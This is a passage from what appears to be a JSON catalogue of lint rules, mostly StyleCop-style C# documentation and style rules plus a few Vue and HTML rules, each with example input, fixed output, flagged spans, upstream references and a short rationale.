        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 35,
            "length": 6,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "valid-v-text",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-text",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-text.html"
        }
      ],
      "why": "Without an expression the directive fails to compile or shows nothing.\n\nTo fix, write `v-text=\"msg\"`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `/` at the end of a void element (`<br/>`, `<img />`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<P CLASS=\"a\" id = \"b\" title='c' data-x=d>x</P>\n<a href=\"x\"class=\"y\">t</a>\n<p title='say \"hi\"' style=\"color: red\">ok</p>\n<p style=\"display: none\">ok</p>\n<br/>\n<br>\n<div />\n<svg viewBox=\"0 0 1 1\"><linearGradient gradientUnits=\"x\"></linearGradient></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          6,
          7,
          11
        ],
        "spans": [
          {
            "column": 4,
            "length": 2,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "void-style",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended",
        "html/htmlhint"
      ],
      "upstream": [
        {
          "id": "void-style",
          "note": "the omit style only, without the style option",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/void-style.html"
        },
        {
          "id": "empty-tag-not-self-closed",
          "partial": false,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/empty-tag-not-self-closed.mdx"
        }
      ],
      "why": "A void element has no end tag and the slash is ignored, so it adds nothing; it only suggests the tag is closed like XML, which can mislead a reader about other elements such as `<div/>`.\n\nTo fix, write `<br>`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a property or event whose accessors are in the wrong order: `get` goes before `set` or `init`, and `add` before `remove`. The fix swaps the two accessors; it is not offered when a comment stands between them or inside them.",
      "example": {
        "config": null,
        "fixed": "class A {\n int P { get { return 1; } set { } }\n event System.Action E { add { } remove { } }\n int Q { set { } /* why */ get { return 1; } }\n}\n",
        "input": "class A {\n int P { set { } get { return 1; } }\n event System.Action E { remove { } add { } }\n int Q { set { } /* why */ get { return 1; } }\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 10,
            "length": 7,
            "line": 2
          },
          {
            "column": 26,
            "length": 6,
            "line": 3
          },
          {
            "column": 10,
            "length": 7,
            "line": 4
          }
        ]
      },
      "fix": "safe",
      "id": "accessor-order",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1212",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1212.md"
        },
        {
          "id": "SA1213",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1213.md"
        }
      ],
      "why": "Readers expect to meet the reading accessor first and the writing one second. One order in all properties makes a file quick to scan and makes the odd one out stand out."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `async` method that returns `Task` or `ValueTask` and whose name does not end in `Async`. Overrides, explicit interface implementations and `Main` are not reported, because their names are not the method's to choose. Renaming needs the binding layer, so there is no fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System.Threading.Tasks;\ninterface I { Task Run(); }\nclass A : I {\n public async Task Run() { }\n public async Task Other() { }\n}\nclass B {\n class Task { }\n async Task Mine() { }\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 20,
            "length": 5,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "async-suffix",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "RCS1046",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS1046"
        }
      ],
      "why": "The suffix tells the caller that the method returns a task that has to be awaited. A call that forgets `await` on `Load()` compiles and runs on without waiting, but `LoadAsync()` calls for it. It also leaves room for a synchronous `Load()` next to it.\n\nTo fix, rename the method to end in `Async`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a comparison with the constant on the left: `null == x` is `x == null`, `1 < x` is `x > 1`. Without the type layer a constant is a literal, `nameof`, a member such as `int.MaxValue`, or an expression made of those; a named constant on the left is not recognised.",
      "example": {
        "config": null,
        "fixed": "class A {\n int a, b;\n Nullable<int> n = 1L < 2 ? null : null;\n void F(object o, int i) {\n  var f = (int x) => { return x; };\n  var g = o == null || i > 1;\n  var h = 1F + (double)2.5;\n }\n}\n",
        "input": "class A {\n int a, b;\n Nullable<int> n = (long)1 < 2 ? null : null;\n void F(object o, int i) {\n  var f = delegate (int x) { return x; };\n  var g = null == o || 1 < i;\n  var h = (float)1 + (double)2.5;\n }\n}\n",
        "language": "csharp",
        "other_lines": [
          3,
          5,
          7
        ],
        "spans": [
          {
            "column": 11,
            "length": 4,
            "line": 6
          },
          {
            "column": 24,
            "length": 1,
            "line": 6
          }
        ]
      },
      "fix": "safe",
      "id": "constant-on-right",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop",
        "csharp/roslynator"
      ],
      "upstream": [
        {
          "id": "RCS1098",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS1098"
        },
        {
          "id": "SA1131",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1131.md"
        }
      ],
      "why": "\"Yoda\" conditions came from C, where `x = null` by mistake compiled. In C# an assignment in a condition does not compile for a non-boolean, so the form has no protection to give, and it reads backwards: `x == null` says what is tested first.\n\nTo fix, swap the sides and mirror the operator. The fix is safe and does it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the summary of a constructor that does not start with the standard sentence: \"Initializes a new instance of the `<see cref=\"T\"/>` class\" (or \"struct\"), \"Initializes static members of the ...\" for a static constructor. A private constructor may say \"Prevents a default instance of the ... from being created\". The `<see>` is compared with the name of the type. The fix puts the standard sentence before the text and is unsafe.",
      "example": {
        "config": null,
        "fixed": "using System;\n/// <summary>Constructors.</summary>\npublic class Constructors<T>\n{\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class.</summary>\n    public Constructors() { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class. Creates it.</summary>\n    public Constructors(int a) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class.</summary>\n    public Constructors(int a, int b) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class.</summary>\n    public Constructors(int a, int b, int c) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class. Initializes a new instance of the Constructors class.</summary>\n    public Constructors(long a) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class and more.</summary>\n    public Constructors(long a, long b) { }\n    /// <summary>\n    /// Initializes a new instance of the <see cref=\"Constructors{T}\"/> class.\n    /// </summary>\n    public Constructors(string a) { }\n    /// <summary>\n    /// Initializes a new instance of the\n    /// <see cref=\"Constructors{T}\"/> class.\n    /// </summary>\n    public Constructors(string a, string b) { }\n    /// <summary>\n    /// Initializes  a new instance of the <see cref=\"Constructors{T}\"/>   class.\n    /// </summary>\n    public Constructors(string a, string b, string c) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class.</summary>\n    /// <remarks>More.</remarks>\n    internal Constructors(char a) { }\n    /// <summary>Initializes static members of the <see cref=\"Constructors{T}\"/> class.</summary>\n    static Constructors() { }\n    /// <summary>Prevents a default instance of the <see cref=\"Constructors{T}\"/> class from being created.</summary>\n    private Constructors(char a, char b) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class.</summary>\n    private Constructors(char a, char b, char c) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class. Private.</summary>\n    private Constructors(char a, char b, char c, char d) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class. Prevents a default instance of the <see cref=\"Constructors{T}\"/> class from being created.</summary>\n    protected Constructors(byte a) { }\n    /// <summary>Finalizes an instance of the <see cref=\"Constructors{T}\"/> class.</summary>\n    ~Constructors() { }\n    /// <inheritdoc />\n    protected Constructors(byte a, byte b) { }\n    /// <summary />\n    protected Constructors(byte a, byte b, byte c) { }\n    /// <remarks>No summary.</remarks>\n    protected Constructors(byte a, byte b, byte c, byte d) { }\n}\n",
        "input": "using System;\n/// <summary>Constructors.</summary>\npublic class Constructors<T>\n{\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class.</summary>\n    public Constructors() { }\n    /// <summary>Creates it.</summary>\n    public Constructors(int a) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Other\"/> class.</summary>\n    public Constructors(int a, int b) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> struct.</summary>\n    public Constructors(int a, int b, int c) { }\n    /// <summary>Initializes a new instance of the Constructors class.</summary>\n    public Constructors(long a) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class and more.</summary>\n    public Constructors(long a, long b) { }\n    /// <summary>\n    /// Initializes a new instance of the <see cref=\"Constructors{T}\"/> class.\n    /// </summary>\n    public Constructors(string a) { }\n    /// <summary>\n    /// Initializes a new instance of the\n    /// <see cref=\"Constructors{T}\"/> class.\n    /// </summary>\n    public Constructors(string a, string b) { }\n    /// <summary>\n    /// Initializes  a new instance of the <see cref=\"Constructors{T}\"/>   class.\n    /// </summary>\n    public Constructors(string a, string b, string c) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class.</summary>\n    /// <remarks>More.</remarks>\n    internal Constructors(char a) { }\n    /// <summary>Initializes static members of the <see cref=\"Constructors{T}\"/> class.</summary>\n    static Constructors() { }\n    /// <summary>Prevents a default instance of the <see cref=\"Constructors{T}\"/> class from being created.</summary>\n    private Constructors(char a, char b) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Constructors{T}\"/> class.</summary>\n    private Constructors(char a, char b, char c) { }\n    /// <summary>Private.</summary>\n    private Constructors(char a, char b, char c, char d) { }\n    /// <summary>Prevents a default instance of the <see cref=\"Constructors{T}\"/> class from being created.</summary>\n    protected Constructors(byte a) { }\n    /// <summary>Finalizes an instance of the <see cref=\"Constructors{T}\"/> class.</summary>\n    ~Constructors() { }\n    /// <inheritdoc />\n    protected Constructors(byte a, byte b) { }\n    /// <summary />\n    protected Constructors(byte a, byte b, byte c) { }\n    /// <remarks>No summary.</remarks>\n    protected Constructors(byte a, byte b, byte c, byte d) { }\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 9,
            "length": 30,
            "line": 7
          },
          {
            "column": 52,
            "length": 19,
            "line": 9
          },
          {
            "column": 9,
            "length": 90,
            "line": 11
          },
          {
            "column": 9,
            "length": 72,
            "line": 13
          },
          {
            "column": 9,
            "length": 27,
            "line": 39
          },
          {
            "column": 9,
            "length": 109,
            "line": 41
          }
        ]
      },
      "fix": "unsafe",
      "id": "constructor-summary-standard-text",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1642",
          "note": "the `<see cref>` is compared with the name of the type by spelling, not resolved (a cref through a using alias or a different qualification of the same type is not recognized); other cultures' texts are not available",
          "partial": true,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1642.md"
        }
      ],
      "why": "A constructor needs no description of what it does that every constructor does not already say; the standard sentence gives the same first line to all of them, and the text after it adds what is special about this one. Many documentation conventions require it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `Debug.Assert` call without a message, or with a message that is a constant blank string. With the type layer the call is checked against `System.Diagnostics.Debug`; without it any call written `Debug.Assert` is. No fix.",
      "example": {
        "config": null,
        "fixed": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using A.C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go((int, int) t) {\n      this.Run();\n      var s = default(S);\n      var d = default(DateTime);\n      var g = (1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "input": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go(ValueTuple<int, int> t) {\n      base.Run();\n      var s = new S();\n      var d = new DateTime();\n      var g = ValueTuple.Create(1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "language": "csharp",
        "other_lines": [
          4,
          6,
          10,
          11,
          12,
          13,
          14,
          15,
          18,
          20
        ],
        "spans": [
          {
            "column": 7,
            "length": 18,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "debug-assert-message",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1405",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1405.md"
        }
      ],
      "why": "When an assertion fails in a debug build the message is all that is shown. Without it the developer has the line number and the condition, and a long sequence of asserts in a function does not tell which one broke or why it matters.\n\nTo fix, add a message that says what is wrong when the condition is false."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `Debug.Fail` call with a constant blank message. With the type layer the call is checked against `System.Diagnostics.Debug`; without it any call written `Debug.Fail` is. No fix.",
      "example": {
        "config": null,
        "fixed": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using A.C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go((int, int) t) {\n      this.Run();\n      var s = default(S);\n      var d = default(DateTime);\n      var g = (1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "input": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go(ValueTuple<int, int> t) {\n      base.Run();\n      var s = new S();\n      var d = new DateTime();\n      var g = ValueTuple.Create(1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "language": "csharp",
        "other_lines": [
          4,
          6,
          10,
          11,
          12,
          13,
          14,
          15,
          16,
          20
        ],
        "spans": [
          {
            "column": 7,
            "length": 14,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "debug-fail-message",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1406",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1406.md"
        }
      ],
      "why": "`Debug.Fail` is reached only when something is wrong, and the message is the only information about what. An empty message leaves the reader of the failure with a stack trace and no idea of the cause.\n\nTo fix, say what went wrong."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the summary of a finalizer that does not start with \"Finalizes an instance of the `<see cref=\"T\"/>` class.\" The `<see>` is compared with the name of the type. The fix puts the standard sentence before the text and is unsafe.",
      "example": {
        "config": null,
        "fixed": "using System;\n/// <summary>Static.</summary>\npublic class StaticWrong\n{\n    /// <summary>Initializes static members of the <see cref=\"StaticWrong\"/> class. Static.</summary>\n    static StaticWrong() { }\n}\n/// <summary>Struct.</summary>\npublic struct Pair\n{\n    /// <summary>Initializes a new instance of the <see cref=\"Pair\"/> struct.</summary>\n    public Pair(int a) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Pair\"/> struct.</summary>\n    public Pair(int a, int b) { }\n    /// <summary>Prevents a default instance of the <see cref=\"Pair\"/> struct from being created.</summary>\n    private Pair(int a, int b, int c) { }\n    /// <summary>Initializes static members of the <see cref=\"Pair\"/> struct.</summary>\n    static Pair() { }\n}\n/// <summary>Destructors.</summary>\npublic class Destructors<T>\n{\n    /// <summary>Finalizes an instance of the <see cref=\"Destructors{T}\"/> class.</summary>\n    ~Destructors() { }\n}\n/// <summary>Destructors.</summary>\npublic class DestructorsWrong\n{\n    /// <summary>Finalizes an instance of the <see cref=\"DestructorsWrong\"/> class. Cleans up.</summary>\n    ~DestructorsWrong() { }\n}\n/// <summary>Destructors.</summary>\npublic class DestructorsOther\n{\n    /// <summary>Finalizes an instance of the <see cref=\"DestructorsOther\"/> class.</summary>\n    ~DestructorsOther() { }\n}\n/// <summary>Destructors.</summary>\npublic class DestructorsMultiLine\n{\n    /// <summary>\n    /// Finalizes an instance of the <see cref=\"DestructorsMultiLine\"/> class.\n    /// </summary>\n    ~DestructorsMultiLine() { }\n}\n/// <summary>Destructors.</summary>\npublic class DestructorsNoPeriod\n{\n    /// <summary>Finalizes an instance of the <see cref=\"DestructorsNoPeriod\"/> class.</summary>\n    ~DestructorsNoPeriod() { }\n}\n/// <summary>Other.</summary>\npublic class Other { }\n",
        "input": "using System;\n/// <summary>Static.</summary>\npublic class StaticWrong\n{\n    /// <summary>Static.</summary>\n    static StaticWrong() { }\n}\n/// <summary>Struct.</summary>\npublic struct Pair\n{\n    /// <summary>Initializes a new instance of the <see cref=\"Pair\"/> struct.</summary>\n    public Pair(int a) { }\n    /// <summary>Initializes a new instance of the <see cref=\"Pair\"/> class.</summary>\n    public Pair(int a, int b) { }\n    /// <summary>Prevents a default instance of the <see cref=\"Pair\"/> struct from being created.</summary>\n    private Pair(int a, int b, int c) { }\n    /// <summary>Initializes static members of the <see cref=\"Pair\"/> struct.</summary>\n    static Pair() { }\n}\n/// <summary>Destructors.</summary>\npublic class Destructors<T>\n{\n    /// <summary>Finalizes an instance of the <see cref=\"Destructors{T}\"/> class.</summary>\n    ~Destructors() { }\n}\n/// <summary>Destructors.</summary>\npublic class DestructorsWrong\n{\n    /// <summary>Cleans up.</summary>\n    ~DestructorsWrong() { }\n}\n/// <summary>Destructors.</summary>\npublic class DestructorsOther\n{\n    /// <summary>Finalizes an instance of the <see cref=\"Other\"/> class.</summary>\n    ~DestructorsOther() { }\n}\n/// <summary>Destructors.</summary>\npublic class DestructorsMultiLine\n{\n    /// <summary>\n    /// Finalizes an instance of the <see cref=\"DestructorsMultiLine\"/> class.\n    /// </summary>\n    ~DestructorsMultiLine() { }\n}\n/// <summary>Destructors.</summary>\npublic class DestructorsNoPeriod\n{\n    /// <summary>Finalizes an instance of the <see cref=\"DestructorsNoPeriod\"/> struct.</summary>\n    ~DestructorsNoPeriod() { }\n}\n/// <summary>Other.</summary>\npublic class Other { }\n",
        "language": "csharp",
        "other_lines": [
          5,
          13
        ],
        "spans": [
          {
            "column": 9,
            "length": 29,
            "line": 29
          },
          {
            "column": 47,
            "length": 19,
            "line": 35
          },
          {
            "column": 9,
            "length": 89,
            "line": 49
          }
        ]
      },
      "fix": "unsafe",
      "id": "destructor-summary-standard-text",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1643",
          "note": "the `<see cref>` is compared with the name of the type by spelling, not resolved; other cultures' texts are not available",
          "partial": true,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1643.md"
        }
      ],
      "why": "A finalizer is called by the runtime and not by code, so there is nothing to say about how it is used. The standard sentence gives every finalizer the same first line, and the text after it adds what the finalizer cleans up."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a preprocessor directive that has a space between `#` and its keyword (`# if`). The fix removes the space.",
      "example": {
        "config": null,
        "fixed": "class A {\n#region R\n int a;\n#endregion\n#if X\n int b;\n#endif\n}\n",
        "input": "class A {\n# region R\n int a;\n#  endregion\n# if X\n int b;\n#endif\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 6,
            "line": 2
          },
          {
            "column": 4,
            "length": 9,
            "line": 4
          },
          {
            "column": 3,
            "length": 2,
            "line": 5
          }
        ]
      },
      "fix": "safe",
      "id": "directive-keyword-space",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1006",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1006.md"
        }
      ],
      "why": "The convention writes the directive as one word, `#if`, `#region`, so a search for it finds all of them and the directives look alike."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a documentation line (`///`) that does not start with a single space. More spaces are allowed to indent continuation lines, but not on the first line of the comment; a tab or no space is always reported. The fix writes the single space.",
      "example": {
        "config": null,
        "fixed": "class A {\n //no space\n //\n // paragraph\n //\n // text\n //\n int a; //tail\n /// <summary>x</summary>\n /// <summary>y</summary>\n ///   <summary>z</summary>\n /* */\n int b;\n}\n",
        "input": "class A {\n //no space\n //\n // paragraph\n //\n // text\n //\n int a; //tail\n /// <summary>x</summary>\n ///<summary>y</summary>\n ///   <summary>z</summary>\n /* */\n int b;\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 5,
            "length": 1,
            "line": 10
          }
        ]
      },
      "fix": "safe",
      "id": "doc-comment-space",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1004",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1004.md"
        }
      ],
      "why": "The space after the slashes separates the marker from the text, so the text of a comment reads the same as a line of prose. A comment that starts at the slashes (`///<summary>`) is hard to read and differs from the rest of the file."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<param>` in a documentation comment that has no `name` attribute, or an empty one. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System.Threading.Tasks;\n/// <summary>Tags.</summary>\npublic class Values\n{\n    /// <summary>Gets the value.</summary>\n    /// <value></value>\n    public int EmptyValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value />\n    public int SelfClosingValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value>The value.</value>\n    public int GoodValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value>\n    /// </value>\n    public int BlankValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value></value>\n    /// <inheritdoc />\n    public int InheritedValue { get; }\n    /// <summary>The field.</summary>\n    /// <value></value>\n    public int Field;\n}\n/// <summary>Parameters.</summary>\npublic class Parameters\n{\n    /// <summary>Sets.</summary>\n    /// <param>No name.</param>\n    /// <param name=\"\">Empty name.</param>\n    /// <param name=\"a\"></param>\n    /// <param name=\"b\" />\n    /// <param name=\"c\">Good.</param>\n    /// <param name=\"d\">\n    /// </param>\n    public void Params(int a, int b, int c, int d) { }\n    /// <summary>Sets.</summary>\n    /// <param name=\"a\"></param>\n    /// <inheritdoc />\n    public void Inherited(int a) { }\n    /// <summary>Sets.</summary>\n    /// <param name=\"a\"></param>\n    private void PrivateParams(int a) { }\n    /// <summary>Delegate.</summary>\n    /// <param name=\"a\"></param>\n    /// <param>No name.</param>\n    public delegate void Callback(int a);\n    /// <summary>Constructor.</summary>\n    /// <param name=\"a\"></param>\n    public Parameters(int a) { }\n    /// <summary>Indexer.</summary>\n    /// <param name=\"a\"></param>\n    /// <param>No name.</param>\n    public int this[int a] => a;\n}\n",
        "language": "csharp",
        "other_lines": [
          7,
          17,
          32,
          33,
          35,
          43,
          46,
          50,
          53
        ],
        "spans": [
          {
            "column": 9,
            "length": 23,
            "line": 30
          },
          {
            "column": 16,
            "length": 7,
            "line": 31
          },
          {
            "column": 9,
            "length": 23,
            "line": 47
          },
          {
            "column": 9,
            "length": 23,
            "line": 54
          }
        ]
      },
      "fix": null,
      "id": "doc-param-has-name",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1613",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1613.md"
        }
      ],
      "why": "The `name` is how the tools connect the text to a parameter. A `<param>` without it is documentation that tells the IDE nothing and is shown nowhere.\n\nTo fix, add `name=\"value\"` with the name of the parameter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<param>` without text. A comment with `<inheritdoc />` is not reported. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System.Threading.Tasks;\n/// <summary>Tags.</summary>\npublic class Values\n{\n    /// <summary>Gets the value.</summary>\n    /// <value></value>\n    public int EmptyValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value />\n    public int SelfClosingValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value>The value.</value>\n    public int GoodValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value>\n    /// </value>\n    public int BlankValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value></value>\n    /// <inheritdoc />\n    public int InheritedValue { get; }\n    /// <summary>The field.</summary>\n    /// <value></value>\n    public int Field;\n}\n/// <summary>Parameters.</summary>\npublic class Parameters\n{\n    /// <summary>Sets.</summary>\n    /// <param>No name.</param>\n    /// <param name=\"\">Empty name.</param>\n    /// <param name=\"a\"></param>\n    /// <param name=\"b\" />\n    /// <param name=\"c\">Good.</param>\n    /// <param name=\"d\">\n    /// </param>\n    public void Params(int a, int b, int c, int d) { }\n    /// <summary>Sets.</summary>\n    /// <param name=\"a\"></param>\n    /// <inheritdoc />\n    public void Inherited(int a) { }\n    /// <summary>Sets.</summary>\n    /// <param name=\"a\"></param>\n    private void PrivateParams(int a) { }\n    /// <summary>Delegate.</summary>\n    /// <param name=\"a\"></param>\n    /// <param>No name.</param>\n    public delegate void Callback(int a);\n    /// <summary>Constructor.</summary>\n    /// <param name=\"a\"></param>\n    public Parameters(int a) { }\n    /// <summary>Indexer.</summary>\n    /// <param name=\"a\"></param>\n    /// <param>No name.</param>\n    public int this[int a] => a;\n}\n",
        "language": "csharp",
        "other_lines": [
          7,
          17,
          30,
          31,
          47,
          54
        ],
        "spans": [
          {
            "column": 9,
            "length": 24,
            "line": 32
          },
          {
            "column": 9,
            "length": 18,
            "line": 33
          },
          {
            "column": 9,
            "length": 1,
            "line": 35
          },
          {
            "column": 9,
            "length": 24,
            "line": 43
          },
          {
            "column": 9,
            "length": 24,
            "line": 46
          },
          {
            "column": 9,
            "length": 24,
            "line": 50
          },
          {
            "column": 9,
            "length": 24,
            "line": 53
          }
        ]
      },
      "fix": null,
      "id": "doc-param-has-text",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1614",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1614.md"
        }
      ],
      "why": "An empty `<param name=\"x\"></param>` looks like documentation and says nothing, and it stops the compiler from warning about the missing parameter.\n\nTo fix, describe the parameter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a parameter of a documented, non-private method, constructor, delegate, operator or indexer that has no `<param name=\"...\">` in its `///` comment. A comment with `<inheritdoc />` or `<include>` is not reported, and neither is a declaration without a comment. No fix.",
      "example": {
        "config": null,
        "fixed": null,
